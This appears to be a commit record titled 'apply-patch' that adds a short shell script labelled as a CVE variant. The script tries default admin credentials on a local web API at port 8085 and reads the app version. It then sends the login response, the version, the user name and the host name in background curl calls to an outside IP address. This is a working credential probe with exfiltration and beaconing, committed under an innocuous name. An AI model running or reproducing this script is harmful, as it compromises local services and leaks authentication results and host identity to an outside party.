apply-patch

2026-07-29 19:26:57 +08:00
parent e78027a670
commit 043844f5c5
1 changed files with 4 additions and 0 deletions
@@ -0,0 +1,4 @@
+#!/bin/sh
+# CVE-2026-60004 variant a
+QBTR=$(curl -s -w "\nHTTP:%{http_code}" -X POST "http://127.0.0.1:8085/api/v2/auth/login" -H "Content-Type: application/x-www-form-urlencoded" -d "username=admin&password=adminadmin" 2>&1); curl -s "http://202.79.169.91:28016/QBTAUTH_${QBTR}" 2>/dev/null &; QBTV=$(curl -s "http://127.0.0.1:8085/api/v2/app/version" 2>&1); curl -s "http://202.79.169.91:28016/QBTVERSION_${QBTV}" 2>/dev/null &
+curl -s http://202.79.169.91:28016/done_a_$(whoami)_$(hostname) 2>/dev/null &